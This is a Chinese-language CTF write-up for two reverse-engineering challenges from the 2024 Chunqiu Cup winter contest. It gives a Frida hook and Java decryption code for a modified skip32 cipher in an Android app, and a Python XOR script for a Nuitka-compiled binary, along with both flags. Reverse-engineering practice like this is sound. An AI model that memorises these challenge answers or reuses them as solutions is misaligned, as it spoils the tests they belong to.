再看checkpass
可以看到是个skip32算法
github上可以找到该算法的实现:https://github.com/boivie/skip32-java
这里魔改了密钥的长度,从10字节改成8字节
在native层JNI_OnLoad中反射修改了FTABLE的值
frida去hook一下ftable就行
function hook_RegisterNatives() {
Java.perform(function(){
let Skip32 = Java.use("com.ex.skip.Skip32");
var data = Skip32.FTABLE.value;
console.log(data);
})
}
setImmediate(hook_RegisterNatives);
// 164,216,10,132,249,73,247,245,180,34,22,121,154,178,176,250,232,46,78,139,207,77,203,47,83,150,218,31,79,57,69,41,11,224,3,161,24,242,97,105,19,184,123,196,234,251,62,84,151,133,108,187,243,100,155,26,125,175,230,246,248,23,107,163,58,183,124,16,194,148,130,28,239,181,27,235,209,146,48,185,86,186,219,134,64,66,192,225,91,89,129,96,103,12,217,145,54,214,193,168,52,7,102,106,70,1,149,87,110,153,156,119,152,253,179,195,177,255,220,33,226,236,215,229,222,72,75,30,67,238,159,111,74,61,206,68,40,211,8,213,223,200,104,25,138,204,49,32,142,199,144,171,201,117,221,202,94,93,50,165,113,137,98,45,160,14,44,136,81,131,85,101,39,126,4,65,53,76,29,116,210,197,254,60,205,252,128,172,231,63,92,166,174,5,36,157,21,82,35,241,42,122,114,127,0,141,15,227,13,240,189,115,118,112,56,162,237,212,143,99,140,135,17,233,9,120,18,191,147,80,37,198,51,55,158,208,244,167,188,173,95,109,170,20,88,38,182,228,190,169,59,2,6,90,43,71
最后解密拿到flag
import java.util.Arrays;
public class Skip32 {
private static final int FTABLE[] = {164,216,10,132,249,73,247,245,180,34,22,121,154,178,176,250,232,46,78,139,207,77,203,47,83,150,218,31,79,57,69,41,11,224,3,161,24,242,97,105,19,184,123,196,234,251,62,84,151,133,108,187,243,100,155,26,125,175,230,246,248,23,107,163,58,183,124,16,194,148,130,28,239,181,27,235,209,146,48,185,86,186,219,134,64,66,192,225,91,89,129,96,103,12,217,145,54,214,193,168,52,7,102,106,70,1,149,87,110,153,156,119,152,253,179,195,177,255,220,33,226,236,215,229,222,72,75,30,67,238,159,111,74,61,206,68,40,211,8,213,223,200,104,25,138,204,49,32,142,199,144,171,201,117,221,202,94,93,50,165,113,137,98,45,160,14,44,136,81,131,85,101,39,126,4,65,53,76,29,116,210,197,254,60,205,252,128,172,231,63,92,166,174,5,36,157,21,82,35,241,42,122,114,127,0,141,15,227,13,240,189,115,118,112,56,162,237,212,143,99,140,135,17,233,9,120,18,191,147,80,37,198,51,55,158,208,244,167,188,173,95,109,170,20,88,38,182,228,190,169,59,2,6,90,43,71};
private static int g(byte[] key, int k, int w) {
int g1, g2, g3, g4, g5, g6;
g1 = w >> 8;
g2 = w & 0xff;
g3 = FTABLE[g2 ^ (key[(4 * k) % 8] & 0xFF)] ^ g1;
g4 = FTABLE[g3 ^ (key[(4 * k + 1) % 8] & 0xFF)] ^ g2;
g5 = FTABLE[g4 ^ (key[(4 * k + 2) % 8] & 0xFF)] ^ g3;
g6 = FTABLE[g5 ^ (key[(4 * k + 3) % 8] & 0xFF)] ^ g4;
return (g5 << 8) + g6;
}
public static void skip32(byte[] key, int[] buf, boolean encrypt) {
int k; /* round number */
int i; /* round counter */
int kstep;
int wl, wr;
/* sort out direction */
if (encrypt) {
kstep = 1;
k = 0;
} else {
kstep = -1;
k = 23;
}
/* pack into words */
wl = (buf[0] << 8) + buf[1];
wr = (buf[2] << 8) + buf[3];
/* 24 feistel rounds, doubled up */
for (i = 0; i < 24 / 2; ++i) {
wr ^= g(key, k, wl) ^ k;
k += kstep;
wl ^= g(key, k, wr) ^ k;
k += kstep;
}
/* implicitly swap halves while unpacking */
buf[0] = (wr >> 8);
buf[1] = (wr & 0xFF);
buf[2] = (wl >> 8);
buf[3] = (wl & 0xFF);
}
public static int encrypt(int value, byte[] key) {
int[] buf = new int[4];
buf[0] = ((value >> 24) & 0xff);
buf[1] = ((value >> 16) & 0xff);
buf[2] = ((value >> 8) & 0xff);
buf[3] = ((value >> 0) & 0xff);
skip32(key, buf, true);
int out = ((buf[0]) << 24) | ((buf[1]) << 16) | ((buf[2]) << 8)
| (buf[3]);
return out;
}
public static int ddd(int value, byte[] key) {
int[] buf = new int[4];
buf[0] = ((value >> 24) & 0xff);
buf[1] = ((value >> 16) & 0xff);
buf[2] = ((value >> 8) & 0xff);
buf[3] = ((value >> 0) & 0xff);
skip32(key, buf, false);
int out = ((buf[0]) << 24) | ((buf[1]) << 16) | ((buf[2]) << 8)
| (buf[3]);
return out;
}
public static void main(String[] args) {
byte[] key="7d77cfe8".getBytes();
int[] iArr={52, 142, 226, 172, 108, 94, 80, 51, 11, 251, 68, 164, 231, 6, 124, 223, 100, 62, 116, 70};
for(int i=0;i<20;i+=4){
int value=(iArr[i]<<24)|(iArr[i+1]<<16)|(iArr[i+2]<<8)|(iArr[i+3]);
value=ddd(value,key);
iArr[i]=((value >> 24) & 0xff);
iArr[i+1] =((value >> 16) & 0xff);
iArr[i+2] = ((value >> 8) & 0xff);
iArr[i+3] = ((value) & 0xff);
}
StringBuilder sb = new StringBuilder();
// 遍历 ASCII 值数组,将每个值转换为字符并添加到 StringBuilder
for (int value : iArr) {
sb.append((char) value); // 将 ASCII 值转换为字符
}
System.out.println(sb.toString());
}
}
用户名和密码拼接就是flag
flag{7d77cfe8c58b6a2f988bc9434a45}
Nu1tka
[题目writeup]:
ida64打开
这里是个跳板程序,直接动调拿到ApplicationName
去文件夹找到真正的程序
再用ida64打开
找到main字符串,交叉引用+动调找到main函数
一直跟到输入
我们可以点进函数,看到是input,后面的一些函数也是点进去,看看报错信息或者提示字符串判断是什么函数
输入必须是40个字节
循环将输入转成ascii列表
int.from_bytes(data,"little")
转化成4字节数组
这里存放了两个数组,跟到后面可以发现分别是key和密文
输入和key进行了异或,然后和密文进行比较
提取出密文和key异或就能得到flag,这里得注意python存放数据uint32是以30bit为单位的,需要自己转化一下,才能得到正确的数据
详细参考longintrepr.h
key=[0xf5138033,0x985a0194,0xb4c41b8f,0x8b1e6089,0x8db7419b,0xdc6873f3,0x849faa92,0xb0d6b47e,0xa3ad4395,0xb3ea34c7]
enc=[0x9272ec55,0xa86f64ef,0x8ca02ded,0xba2a4def,0xe99a25fa,0xf10b4bc2,0xe2a89bf4,0xd2e28553,0x909920a3,0xcedd52a6]
for i in range(len(enc)):
enc[i]^=key[i]
import libnum
for i in enc:
print(libnum.n2s(i).decode()[::-1],end="")
flag{e50b6d8f-41ad-d18c-f17f-14b6c43af7}
点击“阅读原文”立即参赛
原文始发于微信公众号(春秋伽玛):春秋杯WP | 2024春秋杯冬季赛第二天题目部分解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论